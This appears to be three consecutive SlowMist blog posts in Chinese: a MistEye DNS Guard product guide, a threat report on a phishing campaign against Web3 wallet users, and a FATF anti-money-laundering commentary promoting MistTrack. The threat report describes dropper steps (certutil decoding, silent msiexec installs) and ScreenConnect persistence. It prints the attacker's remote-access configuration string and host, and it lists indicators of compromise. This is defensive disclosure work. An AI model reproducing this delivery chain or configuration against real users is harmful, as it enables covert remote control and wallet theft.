基于对恶意基础设施与网络侧威胁的长期跟踪，MistEye 将 DNS Guard 定位为部署在本地主机上的轻量观察层：以本地 DNS Relay 为主要观察入口，并通过可选的进程外联观察补充程序直连公网 IP 的场景。在不解密或检查 HTTP/HTTPS 应用内容的前提下，工具会记录相关域名、公开 IP 与可确认的进程来源，并交由 MistEye 威胁情报能力检测。
二、核心能力：轻量运行，DNS 照常解析，风险持续检测
MistEye DNS Guard 的核心原则很明确：
正常 DNS 转发不等待安全检测；观察到的域名和 IP 在后台完成检测、留存与告警。
当前版本发现恶意结果后会记录并按需告警，但不会修改 DNS 响应，也不会自动阻断访问。它更像一只部署在主机 DNS 路径旁的“观察哨”，负责尽早暴露风险线索，并为后续处置提供证据。
2.1 轻量化运行形态
MistEye DNS Guard 的“轻量”并不是简单删减能力，而是尽量减少一套主机级网络观察工具所需的部署和维护成本。
工具不要求用户先建设新的安全基础设施。不开 Webhook 也可以独立运行；需要接入告警平台时，再配置 Webhook 地址即可。
2.2 五类核心观察场景
DNS 查询和进程外联是两条互补的观察路径。
前者适合发现“访问了哪个域名”，后者用于补足“哪个程序正在连接哪个公网 IP”。即使某个程序没有发起域名查询，而是直接连接硬编码 IP，仍有机会被进程外联观察捕获。
2.3 支持的 DNS 上游与检测对象
MistEye DNS Guard 本身是一个本地 UDP/TCP DNS Relay，上游可以根据实际网络环境选择传统 DNS 或加密 DNS：
当上游地址使用域名时，可以配置独立的 bootstrap IP，避免解析上游 DNS 服务自身时再次依赖本机 DNS，形成回环。
当前会进入观察与检测链路的对象包括：
• DNS 查询中的域名；
• DNS 响应中的 CNAME、ANAME；
• A 记录中的公开 IPv4 地址；
• AAAA 记录中的公开 IPv6 地址；
• 可选进程外联观察发现的公网 IP。
环回地址、内网地址等非公网 IP 不会被当作外部威胁指标提交。用户也可以在配置中加入精确域名、通配子域名或精确 IP 白名单，跳过明确可信的内部目标。
2.4 可配置的去重观察窗口与异步检测
DNS 查询具有明显的重复性。同一个网页加载过程中，一个域名可能被多次解析；后台软件也会周期性访问固定服务。如果每观察到一次就立即重复提交，不仅增加无意义的请求，也会让告警与日志变得嘈杂。
MistEye DNS Guard 支持通过 window_seconds 自定义观察窗口，允许范围为 1–86400 秒，默认值为 120 秒。系统会对窗口内出现的相同指标进行聚合和去重，并保留实际观察次数。窗口结束后，域名和 IP 进入持久化检测队列，由后台任务调用 MistEye API。
用户可以根据自己的运行环境调整这一时间：希望更快得到检测结果时，使用较短窗口；需要减少重复请求时，可以适当延长。默认值提供一个通用参考，不强制所有场景必须一致。
后续检测过程不位于 DNS 转发的关键路径上：
DNS 查询 → 本地 Relay → 上游 DNS → 返回正常解析结果
│
└→ 异步观察 → 按配置窗口聚合 → MistEye 检测 → 留存 / 告警
即使 MistEye API、Webhook 或 SQLite 在某一时刻响应较慢，正常 DNS 请求也不需要等待整条检测链路完成。
2.5 恶意命中后的证据与来源归因
检测结果不能只给出一句“有风险”。用户更需要知道命中了什么，以及接下来从哪里查。
对于恶意 IP 事件，MistEye DNS Guard 会尽量保留命中时观察到的来源信息：
• 来源程序名称；
• PID；
• 可执行文件路径；
• 连接协议；
• 远端端口；
• 来源归属置信度；
• MistEye 返回的匹配详情。
对于 DNS 域名事件，系统会明确标记其来源为 DNS Relay。由于普通 DNS 报文本身不包含发起进程，当前版本不会强行把域名归因到某个程序，而是如实标记原始进程未知。
这一区分很重要：能确认的证据完整展示，无法可靠确认的归因不做猜测。
2.6 检测与告警处理规则
配置 Webhook Secret 后，推送请求支持 HMAC-SHA256 签名，接收方可以据此验证消息完整性，并确认请求方持有双方约定的 Secret。Webhook 不是必填项；不配置时，恶意事件仍会保存在本地数据库中。
三、工作机制：从一条 DNS 查询到恶意事件的完整闭环
MistEye DNS Guard 的工作流程可以概括为五个步骤：
接管或接收 DNS 请求
→ 转发至配置的上游 DNS
→ 提取域名、别名与公开 IP
→ 调用 MistEye Threat Detection API
→ 本地留存并按需推送 Webhook
进程外联观察则作为另一条输入链路，将公网 IP 及其进程来源送入同一套 IP 检测、事件留存和告警流程。
3.1 系统 DNS 接管
只启动 Relay 时，MistEye DNS Guard 仅能观察主动发送到 Relay 的请求。为了覆盖本机大多数传统 DNS 流量，工具提供系统 DNS 接管模式。
在 macOS 上，程序使用系统自带的 networksetup 修改 DNS，并通过 PF 将本机 IPv4/IPv6 的 53 端口请求重定向到配置的 Relay 端口。如果本机 53 端口被 mDNSResponder 占用，推荐将 Relay 配置为 127.0.0.1:15353。
在 Linux MVP 中，程序会根据系统环境使用 resolvectl、NetworkManager 或静态 resolv.conf 配置 DNS，并使用 nftables 配合 SO_MARK 处理绕过与 Relay 自身回环问题。
系统模式启动顺序不是简单地“改一下 DNS”：
1. 先绑定并确认本地 Relay 可用；
2. 保存原有 DNS 与防火墙状态；
3. 加载当前平台的防护规则；
4. 修改系统 DNS；
5. 验证系统 DNS 与防火墙规则是否生效。
3.2 防回环与绕过控制
本地 DNS Relay 最容易出现的问题之一，是它发往上游的请求又被系统规则重定向回自己，形成解析回环。
MistEye DNS Guard 会区分 Relay 自身的上游流量与普通应用流量，并结合 macOS PF 或 Linux nftables 规则，限制应用绕过 Relay 直接访问外部 UDP/TCP 53 及默认 853 端口，同时处理 Relay 自身的解析回环。
需要注意，应用内部自行发起的 DoH/DoQ、VPN 内部 DNS、代理远端解析、hosts 文件、mDNS 和 LLMNR 不在当前版本的覆盖范围内。对于 Clash Verge 或 mihomo 等代理工具，建议将 127.0.0.1:15353 放在其 DNS 列表前面，让普通 DNS 请求先经过 MistEye Relay。
3.3 快照、租约与异常恢复
DNS 是主机网络的基础配置。如果工具退出后不能恢复现场，再多功能也不适合长期运行。
MistEye DNS Guard 在接管系统 DNS 前会保存恢复快照，运行期间定期更新租约(lease)。正常停止时，程序会移除防火墙规则并恢复原有 DNS；如果主进程异常退出而系统仍在运行，独立恢复助手会在租约过期后尝试清理防火墙规则并恢复 DNS。用户也可以使用快照手工恢复：
这套恢复机制的目的很直接：工具可以接管系统 DNS，也必须为用户提供清晰、可验证的恢复路径。
四、持续运行：从一次查询检测到本地主机观察
网络风险不是只在安装软件的那一刻出现。一个正常程序可能在更新后开始访问新的域名，一个此前未标记的 IP 也可能随着威胁情报更新被重新识别。
MistEye DNS Guard 因此不以“一次性扫描”为目标，而是围绕本机实际发生的 DNS 和进程外联持续记录。
4.1 网页控制台与终端管理台
macOS 用户可以启动内嵌网页控制台，在本机浏览器中完成主要操作：
• 启动或停止 DNS Relay；
• 启动 Relay 并接管系统 DNS；
• 验证当前保护状态；
• 停止并恢复原有 DNS 与防火墙配置；
• 查看最近观察到的域名；
• 查询进程外联记录；
• 查看恶意事件、检测队列与 Webhook 队列；
• 查看 Relay 日志；
• 启动 Relay 时选择是否启用进程外联观察，并设置采样间隔。
网页管理服务默认只监听 127.0.0.1:8080，确需远程访问时必须配置 API Token 并配合主机防火墙限制范围。
终端管理台方面，交互式界面会展示最近 24 小时的 DNS 观察、进程外联、恶意检测和队列状态；在 SSH 分配了 TTY 的情况下，也可以使用终端管理台查看运行状态。
4.2 持久队列与失败重试
MistEye 检测任务和 Webhook 事件都会写入 SQLite 持久队列。
当 API 暂时不可用、网络连接失败或服务返回限流状态时，检测任务不会被直接丢弃，而是按照退避时间重新进入待处理状态。Webhook 推送也会记录尝试次数、下次重试时间与最后一次错误。
这让工具可以在网络偶尔波动的个人电脑、测试主机或远程服务器上持续运行，而不是把“刚好断网”误当成“没有风险”。
4.3 当前版本边界
MistEye DNS Guard 当前以 macOS 为主要验证平台，并提供 Linux MVP。为了避免用户对覆盖范围产生错误预期，以下边界需要明确说明：
运行过程中产生的观察记录和队列状态默认保存在本地。观察到的相关域名和公开 IP 会发送到配置的 MistEye API 进行检测；只有配置了 Webhook，恶意事件才会进一步推送到用户指定地址。
网页端：
终端管理台：
五、部署与接入
5.1 获取预编译程序
GitHub Releases 已提供以下预编译版本：
使用预编译版本时，无需安装 Rust，也不需要准备独立数据库或 Web 服务。核心运行文件加上一份配置模板即可开始部署。
macOS Apple Silicon 可以直接下载：
curl -L -o misteye-dns \
https://github.com/slowmist/MistEye-DNS-Guard/releases/latest/download/misteye-dns-macos-aarch64
curl -L -o misteye-dns.toml.example \
https://raw.githubusercontent.com/slowmist/MistEye-DNS-Guard/main/misteye-dns.toml.example
chmod +x misteye-dns
需要自行编译时，项目固定使用 Rust 1.95.0：
cargo build --release --locked --bin misteye-dns
5.2 获取 MistEye API Key
1. 访问app.misteye.io/api-keys；
2. 注册或登录 MistEye；
3. 创建并复制 API Key；
4. 将密钥写入受保护的本地配置，或通过环境变量提供。
API 文档可查看：app.misteye.io/api-docs。
5.3 配置 API Key
先复制配置模板并限制文件权限：
可以直接在配置中填写：
也可以使用环境变量：
两种方式同时存在时，环境变量优先。不要把真实 API Key 提交到 Git 仓库。
观察窗口也可以在同一配置文件中按需调整，例如：
5.4 检查配置并启动
修改系统 DNS 前，先运行配置检查：
./misteye-dns doctor --config ./misteye-dns.toml
成功时会输出：
configuration valid
macOS 推荐启动网页控制台：
sudo ./misteye-dns serve --config ./misteye-dns.toml
随后访问：
http://127.0.0.1:8080
点击“启动并接管系统 DNS”，程序会完成 Relay 启动、系统 DNS 配置、PF 规则加载和保护状态验证。停止时，程序会按保存的快照恢复原有设置。
如果只想使用命令行：
完整配置和 Clash Verge / mihomo TUN 接入方式，请查看中文文档。
文档链接：https://github.com/slowmist/MistEye-DNS-Guard/blob/main/README.zh-CN.md
六、结语
MistEye DNS Guard 不试图替代 EDR、流量审计或专业取证工具。它选择了一条更轻、更靠前的路径：用一个本地程序把 DNS 作为观察点，让主机访问过的域名、解析出的公开 IP 和程序直接外联不再轻易从视野中消失。
项目仍在持续完善，欢迎在真实环境中体验，并通过 GitHub Issues 提交反馈和建议。
MistEye DNS Guard 开源地址：github.com/slowmist/MistEye-DNS-Guard
如有问题或建议，欢迎通过以下渠道与慢雾安全团队联系：
• 官方网站：slowmist.com
• 微信公众号：慢雾科技
• GitHub：github.com/slowmist
• MistEye 平台：app.misteye.io
关于 MistEye：MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台，提供域名、IP、文件哈希、供应链包等多维威胁检测能力。
MistEye-DepScan：github.com/slowmist/MistEye-DepScan — 轻量级 CLI 工具，一行命令扫描项目依赖与全局安装包中的已知恶意包，支持 npm / PyPI / Cargo / Go / RubyGems 生态。
MistEye-Skills：github.com/slowmist/misteye-skills — AI 编码助手安全技能包，在依赖安装与 URL 访问前自动触发 MistEye 安全检测。

背景
近日，慢雾安全团队捕获到一起持续数月、通过多个渠道实施的钓鱼攻击事件，攻击者伪装成多个 Web3 钱包品牌。
我们最早通过两封钓鱼邮件注意到这起事件。攻击者分别冒充 Keystone 和 OneKey，以“服务条款更新”“账户验证”“监管合规”等理由，要求收件人在限期内完成操作。邮件里的按钮会将受害者引导至伪造的 DocuSign 页面，并诱导他们下载所谓的“桌面签署程序”。
进一步分析发现，这并非一次只针对单一品牌的钓鱼投放。攻击者还注册了多组相似域名，在 GitHub 上创建多个以钱包或 Web3 项目命名的仓库，并使用 VBS、BAT、EXE 等不同格式包装载荷。虽然外层文件各异，但最终目标基本相同：在受害者电脑上通过恶意投递和预置配置安装远程管理软件，以实现长期远程控制。
本文基于已获取的邮件、网页、脚本、安装包、行为日志和威胁情报，对整个攻击过程进行了梳理。
MistEye 响应
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统，集成了安全监控与情报聚合能力，为用户提供实时的风险预警与资产守护。
MistEye 已第一时间通过情报推送与客户告警通道同步风险。
钓鱼分析
从“合规通知”进入攻击链
攻击者没有使用“空投”或“中奖”这类常见诱饵，而是选择了合规话题，这更容易让 Web3 从业者放下戒心。邮件中大量出现“监管”“KYC”“服务条款”“账户限制”等词，并设置了“14 个工作日”的截止期限，刻意营造紧迫感。
Keystone 钓鱼邮件的主题是“Your Keystone Nexus Account: Terms Update Required”。邮件声称 Keystone Nexus 需要根据欧盟资金转移法规更新服务条款，并列出地址验证、数据保留和功能限制等变化。
此外，邮件提供了两个选项：预约一场 15 分钟的说明会议，或者直接下载材料并通过 DocuSign 接受条款。真正的下载入口藏在第二个选项中。
OneKey 钓鱼邮件使用了相同的思路，但页面做得更像正常的品牌通知。邮件引用 YZi Labs、Coinbase Ventures 等真实投资方，声称 OneKey 正在扩大业务范围，因此需要更新 KYC 和服务协议。邮件还设置了具体截止日期，并提醒未完成验证的账户可能受到交易或转账限制。
这里最值得注意的，不是邮件里完全没有真实内容，而是攻击者故意把真信息和假入口放在一起。品牌名称、Logo、支持邮箱、帮助中心地址、监管术语可能都是真的，但主要操作按钮仍然指向攻击者控制的域名。对收件人来说，只核对正文内容是否“像真的”并不够，还必须确认实际链接指向哪里。
假 DocuSign 页面负责完成下载诱导
Keystone 和 OneKey 邮件最终都会进入一套仿冒 DocuSign 的页面。页面声称受保护的文档已经分享给用户，只有下载 DocuSign 桌面应用，才能查看完整内容并完成具有法律效力的电子签名。
这个说法本身就不符合正常使用方式。DocuSign 的正常签署流程通常直接在浏览器中完成，不会要求用户从陌生域名下载桌面程序。攻击者正是利用了用户对 DocuSign 品牌的信任，把软件安装包装成签署文件前的正常步骤。
域名及投放基础设施关联
我们确认了四个与钓鱼活动直接相关的域名：onekeynewsletter.org、onekeypolicyreview.org、keystonepolicyreview.org 和 keystnews.com。
其中，onekeynewsletter.org 和 keystnews.com 出现在钓鱼邮件的发件地址中，用于伪装品牌邮件身份；onekeypolicyreview.org 和 keystonepolicyreview.org 则用于承载钓鱼落地页。ICANN RDAP 查询结果显示，这四个域名均注册于 2026 年 7 月，注册时间前后相隔不超过 11 天。其中，两个邮件相关域名使用 Squarespace DNS，两个落地页域名则使用 Cloudflare 名称服务器，呈现出较清晰的功能分工。
域名注册时间、注册商和名称服务器等信息，本身不能单独证明这些域名由同一主体控制。不过，结合相近的注册时间、相似的命名方式、邮件域与落地页域之间清晰的功能分工，以及它们在同一钓鱼流程中的配合关系，可以判断这四个域名具有较强关联，较可能由同一组攻击者统一注册和使用。
远程控制客户端最终连接的域名为 alberthumanclinic.com，端口为 8041。VirusTotal 的文件关联记录显示，多份使用不同名称的样本曾与该 IP 或域名通信。
载荷外观不同，最终都在安装远程控制客户端
目前观察到的投递文件包括 VBS、BAT 和 EXE。攻击者会根据品牌、页面或投放时间更换文件名和包装形式，但核心行为始终一致。
Keystone 投递链中的 VBS 文件会先申请管理员权限，再从脚本内部的 Base64 数据中还原 MSI、诱饵程序和 HTA 页面。运行后，用户会看到一个仿冒的 DocuSign 安装界面，而真正的 MSI 会在后台静默安装。
OneKey 投递链中的 DocuSign_Installer.vbs 使用 certutil 解码脚本中内嵌的数据，释放 vc_redist.x86.exe 和 setup.msi。文件名看似常见的 Visual C++运行库安装程序，进一步检查文件结构和元数据显示，该文件是 WiX Burn 引导程序，并不是微软官方的 Visual C++ Redistributable 安装包。
BAT 版本则更加直接。脚本申请管理员权限后，将 Base64 内容写入临时文件，通过 certutil 解码出 MSI，再使用 msiexec 静默安装。它没有完整的假界面和诱饵程序，但实现目标相同。
GitHub 上还发现了体积约 76 MB 的 EXE 文件。这些文件被分别命名为 Casa.exe、Dcent.exe、Ellipal.exe、Xaman.exe 等，看起来像不同钱包的安装包，但多个文件的 SHA-256 完全相同。进一步分析发现，它们只是给同一份安装器换了不同文件名。文件内部打包了 ScreenConnect 客户端和 MSI，用户双击后即可直接完成安装。
GitHub 上的多品牌载荷仓库
攻击者使用 GitHub 账号 appInstallercloud 创建了多个公开仓库。仓库名称覆盖 Dcent、Casa、Ellipal、Xaman、Bifrost、Lace、Nufi、OneKey、DocuSign、Calendly 等品牌或服务。
这些仓库内容极为简单，大多只含一个安装文件。多个仓库中的EXE文件仅是名称不同，哈希值完全相同。其中，GitHub 仓库中的 DocuSign_Installer.vbs 与 OneKey 钓鱼页面下发的文件哈希完全一致，多个钱包品牌仓库中的 EXE 也使用相同的 ScreenConnect 配置和 C2。这些直接关联表明，上述 GitHub 仓库属于本次载荷分发体系的一部分。
这些仓库也为攻击者提供了额外的载荷分发位置。在钓鱼落地页失效后，攻击者理论上可以快速更换下载地址。
在 dcent-testing 仓库中还发现了 MSP360 RMM Agent。它不是 ScreenConnect，而是另一款合法远程管理工具。仓库名称中的 testing 以及该样本与其他载荷的差异，表明它可能是另一种测试方案。但 MSP360 样本是否实际用于本次钓鱼投放，仍需结合安装参数和动态通信进一步确认。
攻击者利用 ScreenConnect 建立无人值守远控
ScreenConnect 本身是合法的远程支持工具，问题不在于软件本身，而在于攻击者如何配置和投递它。
从安装包释放的 ScreenConnect 配置文件中可以看到，客户端被配置为 Access 无人值守模式，并指向指定的 ScreenConnect 实例 alberthumanclinic.com:8041。安装完成后，远端操作者不需要受害者在本机逐次确认，即可建立远程会话。
?e=Access&y=Guest&h=alberthumanclinic.com&p=8041&k=<RSA 公钥>
安装包还会创建 Windows 服务，并写入安全模式启动项、LSA 身份验证包(Authentication Packages)、凭据提供程序，以及自定义 URI Scheme。这些配置使远程控制客户端能够作为 Windows 服务长期运行，并可能在系统重启、异常退出或安全模式下继续启动。
对 Web3 用户而言，这类攻击的风险不仅限于远程控制桌面。攻击者可能查看受害者打开的钱包应用、浏览器扩展、交易页面和聊天记录，还可能通过远程控制诱导受害者签名、转账或输入密码等操作。
攻击过程还原
1. 攻击者注册了仿冒品牌的邮件域名和钓鱼页面域名。
2. 受害者收到以服务条款、账户验证或监管合规为主题的邮件。
3. 邮件按钮将受害者带到伪造的 DocuSign 页面。
4. 页面要求用户下载所谓的 DocuSign 桌面程序。
5. 下载得到 VBS、BAT 或伪装成钱包客户端的 EXE。
6. 脚本申请管理员权限，释放并静默安装 MSI；EXE 版本则直接解包安装。
7. ScreenConnect 客户端以 Windows 服务形式启动，并连接 alberthumanclinic.com:8041。
8. 攻击者获得无人值守远程控制能力，并在系统中建立持续运行机制。
总结
这起攻击并非一封粗糙邮件加一个恶意附件那么简单。攻击者围绕 Web3钱包用户构建了完整的攻击链条：先用合规和账户验证制造紧迫感，再借助 DocuSign这类常见企业服务麻痹用户，最后通过脚本或伪装安装包部署远程控制软件。
从 Keystone、OneKey 到 GitHub 上的多个钱包品牌，攻击者反复更换外壳，但核心手法没有变化。邮件、域名、文件名都可以随意更换，真正不变的是后端远程控制配置、连接地址和安装后留下的系统痕迹。
对普通用户而言，判断方法其实很简单：如果钱包厂商或电子签名服务突然要求你下载陌生桌面程序，立即停止操作，并去官方网站或官方App内进行核实。不要因为邮件里出现了真实品牌信息、真实客服地址或“绝不会索要助记词”之类的话，就默认其中的按钮也是安全的。
对企业和安全团队而言，处置重点不应仅限于封禁钓鱼域名，还需检查终端是否安装了异常的 ScreenConnect 服务，是否写入了LSA Authentication Packages、凭据提供程序和 SafeBoot 项，并及时更换受影响主机上使用过的账户凭据。如果机器曾用于钱包管理、交易签名或保存敏感资料，应按照终端可能已被完全控制的级别进行排查和处置。
IOC
以下 IOC 均来自本次调查已确认的邮件、域名、文件和主机行为。
域名与网络
keystnews.comkeystonepolicyreview.orgtranscript.keystonepolicyreview.orgonekeynewsletter.orgonekeypolicyreview.orgalberthumanclinic.com:8041207.189.8.63
GitHub 账号
github[.]com/appInstallercloud
邮件特征
主题：Your Keystone Nexus Account: Terms Update Required发件地址：hello@keystnews.com主题：Important: Updated Account Verification Requirements发件地址：hello@onekeynewsletter.org常见诱饵：Terms Update、Account Verification、KYC、14 business days、DocuSign、Calendly
主机痕迹
服务名：Feedback Tool服务名：Installer服务名：ScreenConnect Client (eb390dfa1fbf942b)文件：ScreenConnect.WindowsAuthenticationPackage.dllURI Scheme：sc-eb390dfa1fbf942b://Credential Provider CLSID：{6FF59A85-BC37-4CD4-2CF9-CA1EFE7F635E}注册表：HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Authentication Packages注册表：HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\<服务名>
文件哈希
Docusign.vbs：aa0196c9c987b6c25b022a2c5bd43acdcb2cea1127cf75b3b2eaf5de1ae0b8fd
DocuSign_Installer.vbs：4662b40dab6286ca6bbf3702cac1bd8fe478d742263774579650b82111aa0e5f
Docusign.bat：e348db62c294cc160c9d26fa429adc3f7944cd7384c1efcaf42b1f4996b62c24
GitHub 多品牌 EXE：aaee0a2bf936d8041c58752e5884b2c8ed40c250d2dfde077e15852fba39a87e
Testingg.exe：108ef7e628d7a20bd6241a5b57149e27a6061f467123eb64061975559f8f73dc
vc_redist.x86.exe：0c09f2611660441084ce0df425c51c11e147e6447963c3690f97e0b25c55ed64
Feedback Tool MSI：88e2075e015139451c9d87c893e5b35bc505e50146b6f080f8a5b4ae449b8e56
Installer MSI：9ab17f9dfbe6dc454f8507b873161410bf6a97e8d3fd8a7191506b1fa5dca39c
ScreenConnect Client MSI：7a925500880b2ae528f9da3551618152fd1384f33f8ca95e9abf6feb94fac478
关于 MistEye
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台，通过 API 提供开源包生态的恶意活动检测与供应链风险预警能力。
本次行动涉及的全部恶意包及 IOC 已接入 MistEye 威胁检测引擎，开发者可通过 API 对项目依赖进行自动化检测，快速判定是否命中已知恶意包并获取处置建议。
📖 API 文档：https://app.misteye.io/api-docs
🛠️ MistEye-DepScan：https://github.com/slowmist/MistEye-DepScan 轻量级 CLI 工具，一行命令扫描项目依赖与全局安装包中的已知恶意包，支持 npm / PyPI / Cargo / Go / RubyGems 生态
🛠️ MistEye-Skills：https://github.com/slowmist/misteye-skills AI 编码助手安全技能包，在依赖安装与 URL 访问前自动触发 MistEye 安全检测

背景
2026 年 7 月，金融行动特别工作组(FATF) 发布第七份《虚拟资产与虚拟资产服务提供商监管专项进展报告》[1]。
FATF 指出，自 2025 年以来，涉及虚拟资产的非法活动变得更加复杂且呈现融合趋势，包括通过与有组织犯罪集团相关的诈骗中心运作、“杀猪盘”诈骗、与朝鲜相关的网络盗窃、恐怖融资/扩散融资(TF/PF)、逃避制裁以及跨境洗钱。稳定币、通过非托管钱包进行的点对点(P2P) 交易、离岸 VASP、场外交易(OTC) 经纪人、跨链工具和与 DeFi 相关的活动继续构成重大风险，凸显了加强公私合作、加强监测以及由各管辖区和私营部门采取具体风险缓解措施的必要性。
本文将围绕 FATF 报告关注的主要风险场景，结合交易平台、支付与出入金服务商、钱包、稳定币相关业务以及 OTC 等链上业务场景，探讨虚拟资产企业如何提升风险识别与分析能力。
不但要有，还得有效
FATF 2026 报告的一个核心结论是：全球范围内，越来越多司法辖区已经完成虚拟资产风险评估，但如何将评估结果真正转化为持续、有效的风险控制，仍然是全球共同挑战。
过去几年，虚拟资产企业关注的 AML 问题更多集中在：是否完成 KYC/KYT；是否建立基础风险规则；是否能够通过名单筛查识别已知高风险地址。
但随着稳定币支付、跨链交易、OTC 服务以及非托管钱包应用快速发展，链上资金流动正在变得更加复杂。
一个地址今天可能尚未显示明显风险，但随着新的交易关系产生，其风险暴露可能发生变化；一笔资金最初看似正常，但经过 Bridge、DEX 以及多个地址转移后，风险可能隐藏在完整资金路径之中。
这也意味着，行业关注点正在从“是否建立监管框架和 AML 流程”，进一步转向这些措施是否能够在实际业务中有效识别和缓释风险。
1、稳定币成为重点风险领域
稳定币正在改变全球资金流动方式。稳定币带来了效率，也带来了新的问题：一笔稳定币资金可以在几分钟内完成：钱包转账 → 跨链桥 → 另一条链 → DEX 兑换 → 多个新地址拆分的迁移。
FATF 2026 报告指出，包括“伊斯兰国”(ISIL) 和基地组织在内的恐怖组织越来越青睐稳定币而不是比特币，他们利用轮换钱包地址、资金微拆分，以及通过“客户尽职调查”(CDD) 要求极低的 VASPs 和场外交易(OTC) 经纪商进行多跳转账，同时进一步将稳定币与去中心化金融工具和非托管钱包结合使用，以规避合规控制。
对虚拟资产企业而言，真正的问题已经不是这个地址是否是黑地址，而是更为具体的问题，我们来看几个 MistTrack 团队常收到的客户反馈：
为什么一个新地址只有一笔交易，但是他的风险高于资金来源？为什么这个地址我们查询发现其关联了诸多风险，但是风险参考等级仅为中风险？为什么这个地址上次查询时是低风险，随后它没有产生新的交易，可在我们第二次查询时变成了中风险？为什么这个地址只是间接交互了风险，但是风险评分很高呢？……
在实际业务中，链上风险判断往往不是简单的黑名单匹配。因为并非只有明确的黑地址，如黑客地址、直接被制裁的地址才需要被风控。一个地址的风险水平，需要综合考虑其交互对象、历史交易行为、实体归属、风险资金关联比例以及资金传播路径。
例如，一笔风险资金经过多个高交易量地址转移后，如何合理评估后续地址的风险暴露，就成为 KYT 服务需要解决的重要问题。
慢雾的反洗钱合规系统 MistTrack 采用基于比例稀释(Pro-Rata Haircut) 算法，根据关联资金金额和贡献比例评估风险影响。
同时，结合地址所属实体、地址历史交易活动、慢雾恶意钱包地址库三方面为其计算风险评分，将复杂的关联逻辑转化为量化、直观的合规判定结论。
MistTrack 还支持生成结构化风险分析报告(STR Snapshot)，帮助合规团队留存调查依据，并辅助后续风险处理。
目前，MistTrack 的分析能力已覆盖 19 条主流区块链、100+ Token、18 种稳定币、积累 4 亿+ 地址标签、10,000+ 实体，50 万 + 威胁情报数据，25 类风险类型，为链上风险识别和资金分析提供底层支撑。
2、非托管钱包带来的链上挑战
“通过非托管钱包进行的点对点(P2P) 转账带来了更高的非法融资风险，因为此类交易直接在当事方之间发生，没有受监管的中介机构参与，从而脱离了反洗钱/打击资助恐怖主义/打击扩散融资(AML/CFT/CPF) 的义务。虽然公共区块链上的交易在技术上仍然可见，但其假名性质使得威胁行为体能够通过与受《旅行规则》(Travel Rule) 约束的钱包在交易链条上相距甚远的多层非托管钱包来掩盖归属，而且鉴于稳定币跨司法管辖区的近乎即时结算，这种风险在跨境基础上进一步加剧。在此类交易中，缺乏负责提交可疑交易报告(STR) 的义务实体，这代表了 AML/CFT/CPF 框架中的一个结构性漏洞。”
一个钱包地址来充值，是普通用户的资金，还是一笔洗钱网络里的资金？一个 OTC 客户每周三次找你换稳定币，每次都价值约十万美元，是正常客户，还是其实是某个离岸平台的清算通道？这些判断必须综合地址所属实体、历史交易行为、上下游资金结构来评估。
FATF 2026 报告显示，88% 的司法管辖区（66 个中的 58 个）将 P2P 交易评为高风险，而 8%（66 个中的 5 个）将其评为中风险，5%（66 个中的 3 个）评为低风险。这意味着，对于涉及用户资金流转的业务而言，如何理解非托管钱包背后的资金关系，正在成为链上风险管理的重要环节。
然而，对业务侧而言，触发和执行增强型尽职调查(EDD) 都需要可靠的信号。
MistTrack 的 KYA 模式，会自动展示所有与目标地址关联的风险资金链路，并重点展示金额最高的 Top 5 风险项，帮助用户快速识别主要风险来源。
在 AML 风险证据中，用户可以按直接关联或间接关联筛选风险项。点击 Path 后，相关资金路径将在图谱中高亮展示，方便查看风险资金的关联地址、传播层级、关联金额及风险实体等信息。
同时，系统会汇总目标地址直接交互的交易对手，展示对应的实体名称、交互金额、占比及风险标签，帮助用户快速了解资金往来的主要对象。
如果需要更深入的调查，可以直接在 Investigations 功能进行追踪、记录，并与合规同事协作处理案件。这类能力把过去"翻区块浏览器"式的人工作业，转化为有依据、可协作、可留痕的工作流，有效提升反洗钱效率。
3、传统 AML 模型跟不上资金实际路径
对涉及跨链交易的业务——尤其是桥、DEX 聚合器、多链钱包等场景——早期的 AML 模型通常围绕单链、单地址展开，遇到跨链场景就显得力不从心。一笔资金可能经历：
以太坊 → 跨链桥 → 另一条链 → DEX 兑换 → 新钱包
风险可能并不集中在某一个地址，而是隐藏在完整资金流转路径中。
FATF 2026 报告指出，DeFi 相关风险仍然是全球监管难点，尤其是在识别控制方、评估风险暴露以及建立有效风险缓释措施方面。对于业务侧而言，关注重点正在从这个地址是否存在风险，转向这条资金路径是否存在风险暴露？
传统黑名单筛查擅长回答第一个问题，很难回答第二个。
而在多跳资金分析中，另一个挑战是如何合理评估间接风险暴露。多跳分析容易走向另一个极端：只要沾一点点风险资金就全额判定为高风险，导致大量误伤正常用户。
MistTrack 支持的 19 条主流公链覆盖了当前主要的跨链场景，并支持跨链解析，帮助用户从多链环境下理解资金流向。
对于多跳资金路径的分析，MistTrack 提供了两个关键能力：风险资金关联链路可以直观呈现地址与风险源头之间的资金关系，明确标注 Direct（直接关联）与 Indirect（间接关联）。
同时，MistTrack 提供间接风险衰减设置。用户可以根据自身风险策略和偏好选择不同分析模式：
衰减模式：每增加一跳，风险贡献降低 40%；不衰减模式：每一跳均按照 100% 风险贡献计算。
合规团队可以结合跳数、金额、占比等因素评估风险暴露程度，并进一步决定是否需要开展 EDD、人工复核或其他风险处理措施，从而降低误报风险，同时避免遗漏关键风险信号。
写在最后
需要"能证明有效性"的时代已经开始。对虚拟资产企业而言，下一阶段的挑战不只是建立 AML 流程，而是确保这些流程能够真正识别、分析并缓释链上风险。
MistTrack 致力于帮助虚拟资产企业提升链上风险识别与分析能力，将 FATF R.15 所关注的风险评估与风险缓释要求，转化为更可执行的链上分析能力。
基于八年来在链上安全与威胁情报领域的积累，MistTrack 已服务超过 500 家机构客户，并持续将安全研究能力应用于链上风险分析与合规场景。
MistTrack 亦曾获得香港资讯及通讯科技奖(HKICT Awards) 金融科技金奖（监管科技：监管及风险管理），体现了其在链上合规领域的技术价值与落地能力。
如果您正在关注如何将链上风险识别能力应用于您的业务场景，欢迎联系我们获取进一步信息。
网站：https://misttrack.io/
邮箱： support@misttrack.io
表单： https://kyt.slowmist.com/cn/get-started.html
相关链接
[1] https://www.fatf-gafi.org/content/dam/fatf-gafi/reports/7th-targeted-update-on-implementation-fatf-standards-vas-vasps-2026.pdf.coredownload.pdf

背景
